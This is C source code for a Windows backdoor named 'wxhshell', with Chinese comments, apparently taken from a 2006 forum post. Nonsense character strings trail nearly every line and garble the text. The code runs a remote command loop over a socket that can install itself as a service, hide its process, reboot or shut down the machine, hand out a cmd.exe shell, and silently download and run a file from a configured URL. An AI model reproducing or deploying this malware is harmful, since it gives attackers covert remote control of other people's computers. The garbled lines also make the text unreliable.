f&Gt|  
    switch(cmd[0]) { be.*#[  
  =ALTUV3/q  
  // 帮助 <g$~1fa  
  case '?': { 17%Mw@+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o]4*|ARPs  
    break; k$blEa4  
  } 'uBu6G  
  // 安装 LY%WD%pL  
  case 'i': { MN\HDKN  
    if(Install()) 3}}38A|4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y3Yz)T}UkS  
    else \NPmym_ 6J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;ub;l h3  
    break; ZrpU <   
    } dYJ(!V&  
  // 卸载 b3=rG(0f  
  case 'r': { B3 8]~'8  
    if(Uninstall()) $a.JSXyxL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bCRV\myd`  
    else H\ F :95  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'jWr<]3  
    break; <^#,_o,!  
    } @>,^":`#  
  // 显示 wxhshell 所在路径 Fs9!S a7v  
  case 'p': { ]d$8f  
    char svExeFile[MAX_PATH]; marQNZ  
    strcpy(svExeFile,"\n\r"); 'DP1,7  
      strcat(svExeFile,ExeFile); .*OdqLz  
        send(wsh,svExeFile,strlen(svExeFile),0); "L IF.)  
    break; ,wQ5.U,  
    } 11 Q1AN  
  // 重启 C0T;![/4A  
  case 'b': { Ni9/}bb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \ 2M_\Q`NY  
    if(Boot(REBOOT)) 'OITI TM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,LHn90S  
    else { \V;F/Zy(  
    closesocket(wsh); "q3ZWNS'w  
    ExitThread(0); u-QB.iQ+s  
    } G/)O@Ugp  
    break; )}Hpi<5N  
    } i1}:8Unxf  
  // 关机 t% d Z-Ym  
  case 'd': { |mZxfI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kn5~d(:  
    if(Boot(SHUTDOWN)) Snj'y,p[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d[iQ` YW5  
    else { %z=le7  
    closesocket(wsh); y8]B:_iU9  
    ExitThread(0); lU8l}Ndz"  
    } ?g_3 [Fk  
    break; g9 .Q<JwO  
    } j`{?OYD  
  // 获取shell $o+j El>  
  case 's': { E^ B'4  
    CmdShell(wsh); /:cd\A}  
    closesocket(wsh); Amtq"<h9a  
    ExitThread(0); )v'WWwXY>  
    break; )HEa<P^kJl  
  } ) ;EBz  
  // 退出  on4HKeO  
  case 'x': { W_JlOc!y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tR# OjkvX  
    CloseIt(wsh); 34f?6K1c  
    break;  eb ?x9h  
    } em y[k  
  // 离开 esJ~;~[@(r  
  case 'q': { #NQMy:JHD)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'lH|eU&-  
    closesocket(wsh); ncaT?~u j  
    WSACleanup(); l5~os>  
    exit(1); ko!)s  
    break; !Mx$A$Oj>  
        } N"Z{5A  
  } t$`r4Lb9/  
  } D ;RiGW4  
2_>N/Z4T  
  // 提示信息 <;lkUU(WT2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )7hqJa-V  
} Kf3"Wf^q   
  } }H53~@WP>  
9p]QM)M  
  return; M*0]ai|;  
} hWjc<9  
[z:!j$K  
// shell模块句柄 X;$+,&M"  
int CmdShell(SOCKET sock) ?4YGT  
{ ?d*z8w  
STARTUPINFO si; /l3V3B7  
ZeroMemory(&si,sizeof(si)); e[1hz_v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KR} ?H#%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zpt\p7WQ  
PROCESS_INFORMATION ProcessInfo; poE0{HOU  
char cmdline[]="cmd"; sJKI!   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aj='b.2)  
  return 0; cZ,b?I"Q%  
} ./Xz}<($8  
6jaEv#  
// 自身启动模式  1~gnc|?  
int StartFromService(void) RH W]Z Pr<  
{ }RF(CwZr(  
typedef struct Q0sI(V#  
{ hPkp;a #  
  DWORD ExitStatus; b`Zx!^  
  DWORD PebBaseAddress; sI=xl  
  DWORD AffinityMask; gT. sj d  
  DWORD BasePriority; b=C*W,Q_#  
  ULONG UniqueProcessId; `v!urE/gg%  
  ULONG InheritedFromUniqueProcessId; WCZjXDiwJ  
}   PROCESS_BASIC_INFORMATION; LBeF&sb6  
mY|)KJ  
PROCNTQSIP NtQueryInformationProcess; DeVv4D:}@  
k=$TGqQY?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /xBb[44z8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6_o*y8s.  
5Pc;5 o0C  
  HANDLE             hProcess; Qp5VP@t  
  PROCESS_BASIC_INFORMATION pbi; CZwXTHe  
l'rja.\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gx/,)> E.  
  if(NULL == hInst ) return 0; /KaZH R.  
J[|y:N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )u&|_&g{}J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n+9=1Oo"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eb\K "ec"  
.NC!7+1m  
  if (!NtQueryInformationProcess) return 0; !?jrf] A@  
x j)F55e?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ( $MlXBI  
  if(!hProcess) return 0; }"H,h)T  
C==hox7b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n38p!oS  
3ZPWze6  
  CloseHandle(hProcess); P`+{@@  
_.Nbt(mz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FX&~\kmV'j  
if(hProcess==NULL) return 0;  qA7>vi%  
7F7 {)L  
HMODULE hMod; ?!:ha;n  
char procName[255]; (,\+tr8r8  
unsigned long cbNeeded; UgSB>V<?  
H2\;%K 2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xt* 3'v  
ua$GNm  
  CloseHandle(hProcess); L#{S!P,"  
{4}yKjW%z  
if(strstr(procName,"services")) return 1; // 以服务启动 /Iy]DU8  
8 ^2oWC#U(  
  return 0; // 注册表启动 4he GnMD  
} g)[V(yWu  
HZB>{O  
// 主模块 D/xbF`  
int StartWxhshell(LPSTR lpCmdLine) =:Fc;n>c<K  
{ N)|yu1S  
  SOCKET wsl; k Z .gO  
BOOL val=TRUE; ^zmG0EH,  
  int port=0; }OR@~V{Gj  
  struct sockaddr_in door; N^G Mp,8  
<?6|.\&  
  if(wscfg.ws_autoins) Install(); GW@;}m(  
zT.7  
port=atoi(lpCmdLine); NO>w+-dGS  
(zYt NLoFx  
if(port<=0) port=wscfg.ws_port; [A~xy'T  
%P/Jq#FE .  
  WSADATA data; VBGuC c/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !u[9a;Sa#  
]=I@1B;_m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (O?.)jEW(.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sN*N&XG  
  door.sin_family = AF_INET; 29"'K.r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ecefi pG  
  door.sin_port = htons(port); ~9]hV7y5C  
3?9IJ5p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rig,mv  
closesocket(wsl); o3^l~iT  
return 1; M61xPq8y5  
} ^7U G$A  
S>6 ~lb8G  
  if(listen(wsl,2) == INVALID_SOCKET) { cWaSn7p!X  
closesocket(wsl); x%m%_2%Z  
return 1; Nq[uoaT  
} ,, OW  
  Wxhshell(wsl); y/cvQY0pU  
  WSACleanup(); ?k&Vy  
EStB#V^  
return 0; Tod&&T'UW  
2!m/  
} b\kdKVh&  
?m}s4a  
// 以NT服务方式启动 Q800y??&J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y-_`23x`  
{ )._;~z!  
DWORD   status = 0; <I\/n<*  
  DWORD   specificError = 0xfffffff; ^A$Zw+P  
6:[dj*KGmT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rdP[<Y9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5y [Oj^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uM IIYS  
  serviceStatus.dwWin32ExitCode     = 0; JN-y)L/>  
  serviceStatus.dwServiceSpecificExitCode = 0; |O|V-f{l  
  serviceStatus.dwCheckPoint       = 0; v!6  c0a  
  serviceStatus.dwWaitHint       = 0; XkE`U5.  
{j?FNOJn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zm5]J  
  if (hServiceStatusHandle==0) return; KE5kOU;  
'4+ ur`  
status = GetLastError(); @sW24J1q+  
  if (status!=NO_ERROR) @]%IK(|  
{ \^J%sf${  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Eex~xiiV  
    serviceStatus.dwCheckPoint       = 0; nLZTK&7}  
    serviceStatus.dwWaitHint       = 0; )Xz,j9GzJS  
    serviceStatus.dwWin32ExitCode     = status; QC OM_$y  
    serviceStatus.dwServiceSpecificExitCode = specificError; ifMRryN4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BDW^7[n  
    return; ~F|+o}a `  
  } |}s*E_/[  
-8ywO"6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *eTqVG.  
  serviceStatus.dwCheckPoint       = 0; {0Yf]FQb-a  
  serviceStatus.dwWaitHint       = 0; RNEp4x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h,u, ^ r  
} ,F8Yn5h  
Jy`B!S_l  
// 处理NT服务事件,比如:启动、停止 Ct<udO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *MhRW,=  
{ \R9(x]nZ%  
switch(fdwControl) `_Zg3_K.dS  
{ ~tS Z%q  
case SERVICE_CONTROL_STOP: F3[T.sf  
  serviceStatus.dwWin32ExitCode = 0; hc(#{]].  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5,lEx1{_  
  serviceStatus.dwCheckPoint   = 0; O_ muD\  
  serviceStatus.dwWaitHint     = 0; 7?!d^$B  
  { Tj` ,Z5vy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (?1y4M  
  } 4<w.8rR:A  
  return; { =9,n\85#  
case SERVICE_CONTROL_PAUSE: `t>l:<@%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YlJ@XpKM  
  break; Ytp(aE:  
case SERVICE_CONTROL_CONTINUE: [B*x-R[FI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d=$Mim  
  break; j;+b0(53  
case SERVICE_CONTROL_INTERROGATE: @|Cz-J;D  
  break; h9&0Z +zs  
}; + /4A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 13$%,q)  
} e }?db  
Jc&{`s^Nu  
// 标准应用程序主函数 ^,lIK+#Elz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K-^\" W8  
{ ]NQfX[  
>NGj =L<  
// 获取操作系统版本 u"r`3P`  
OsIsNt=GetOsVer(); :DK {Vg6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rQ{7j!Im  
%OL$57Ia  
  // 从命令行安装 g>E LGG |Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); :[.vM  
imhwY#D  
  // 下载执行文件 7~G9'P<  
if(wscfg.ws_downexe) { GLH0 ]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fh&nu"&  
  WinExec(wscfg.ws_filenam,SW_HIDE); PV.X z0@R  
} Z\bmW%av  
_b pP50Cu  
if(!OsIsNt) { =g7x' kN  
// 如果时win9x,隐藏进程并且设置为注册表启动 IkL#SgY  
HideProc(); 7y'RFD9@{  
StartWxhshell(lpCmdLine); ch*8B(:  
} t5^{D>S1  
else OR P\b  
  if(StartFromService()) 6%\J"AgXO  
  // 以服务方式启动 W<h)HhyG  
  StartServiceCtrlDispatcher(DispatchTable); j7Yu>cr  
else E<rp7~#  
  // 普通方式启动 g.k"]lP  
  StartWxhshell(lpCmdLine); Y1 w9y  
+ )AG*  
return 0; <q58uuK  
}
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只看该作者 1 发表于: 2006-10-10
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